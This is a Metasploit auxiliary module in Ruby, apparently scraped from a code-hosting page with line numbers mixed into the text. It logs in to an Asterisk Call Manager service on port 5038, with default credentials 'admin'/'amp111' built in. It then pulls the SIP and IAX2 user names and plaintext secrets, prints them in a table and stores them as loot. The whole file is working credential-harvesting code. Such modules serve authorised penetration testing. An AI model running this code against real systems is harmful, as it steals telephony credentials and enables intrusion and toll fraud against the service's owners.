Path: blob/master/modules/auxiliary/gather/asterisk_creds.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Asterisk Gather Credentials',14'Description' => %q{15This module retrieves SIP and IAX2 user extensions and credentials from16Asterisk Call Manager service. Valid manager credentials are required.17},18'Author' => 'bcoles',19'References' => [20['URL', 'http://www.asterisk.name/sip1.html'],21['URL', 'http://www.asterisk.name/iax2.html'],22['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'],23['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI']24],25'License' => MSF_LICENSE,26'Notes' => {27'Reliability' => UNKNOWN_RELIABILITY,28'Stability' => UNKNOWN_STABILITY,29'SideEffects' => UNKNOWN_SIDE_EFFECTS30}31)32)33register_options [34Opt::RPORT(5038),35OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']),36OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111'])37]38end3940def run41vprint_status 'Connecting...'4243connect44banner = sock.get_once4546unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}47fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'48end4950print_status "Found Asterisk Call Manager version #{$1}"5152unless login53fail_with Failure::NoAccess, 'Authentication failed'54end5556print_good 'Authenticated successfully'5758@users = []59retrieve_users 'sip'60retrieve_users 'iax2'6162if @users.empty?63print_error 'Did not find any users'64return65end6667print_status "Found #{@users.length} users"6869cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',70'Indent' => 1,71'Columns' => ['Username', 'Secret', 'Type']7273@users.each do |user|74cred_table << [75user['username'],76user['password'],77user['type']78]79report_cred user: user['username'],80password: user['password'],81proof: "#{user['type']} show users"82end8384print_line85print_line cred_table.to_s8687p = store_loot 'asterisk.user.creds',88'text/csv',89rhost,90cred_table.to_csv,91'Asterisk User Credentials'9293print_good "Credentials saved in: #{p}"94rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e95print_error e.message96ensure97disconnect98end99100private101102def username103datastore['USERNAME']104end105106def password107datastore['PASSWORD']108end109110def report_cred(opts)111service_data = {112address: rhost,113port: rport,114service_name: 'asterisk_manager',115protocol: 'tcp',116workspace_id: myworkspace_id117}118119credential_data = {120origin_type: :service,121module_fullname: fullname,122username: opts[:user],123private_data: opts[:password],124private_type: :password125}.merge service_data126127login_data = {128core: create_credential(credential_data),129status: Metasploit::Model::Login::Status::UNTRIED,130proof: opts[:proof]131}.merge service_data132133create_credential_login login_data134end135136def send_command(cmd = '')137sock.put cmd138139res = ''140timeout = 15141Timeout.timeout(timeout) do142res << sock.get_once while res !~ /\r?\n\r?\n/143end144145res146rescue Timeout::Error147print_error "Timeout (#{timeout} seconds)"148rescue => e149print_error e.message150end151152def login153vprint_status "Authenticating as '#{username}'"154155req = "action: login\r\n"156req << "username: #{username}\r\n"157req << "secret: #{password}\r\n"158req << "events: off\r\n"159req << "\r\n"160res = send_command req161162return false unless res =~ /Response: Success/163164report_cred user: username,165password: password,166proof: 'Response: Success'167168report_service :host => rhost,169:port => rport,170:proto => 'tcp',171:name => 'asterisk'172true173end174175def retrieve_users(type)176vprint_status "Retrieving #{type.upcase} users..."177178req = "action: command\r\n"179req << "command: #{type} show users\r\n"180req << "\r\n"181res = send_command req182183if res =~ /Response: Error/ && res =~ /Message: Permission denied/184print_error 'Insufficient privileges'185return186end187188unless res =~ /Response: Follows/189print_error 'Unexpected reply'190return191end192193# The response is a whitespace formatted table194# We're only interested in the first two columns: username and secret195# To parse the table, we need the character width of these two columns196if res =~ /^(Username\s+)(Secret\s+)/197user_len = $1.length198pass_len = $2.length199else200print_error "'#{type} show users' is not supported"201return202end203204users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first205206if users.blank?207print_error "Did not find any #{type.upcase} users"208return209else210print_status "Found #{type.upcase} users"211end212213users.each_line do |line|214line.chomp!215user = line[0...user_len].sub(/\s+$/, '')216pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '')217@users << { 'username' => user, 'password' => pass, 'type' => type }218end219end220end221222223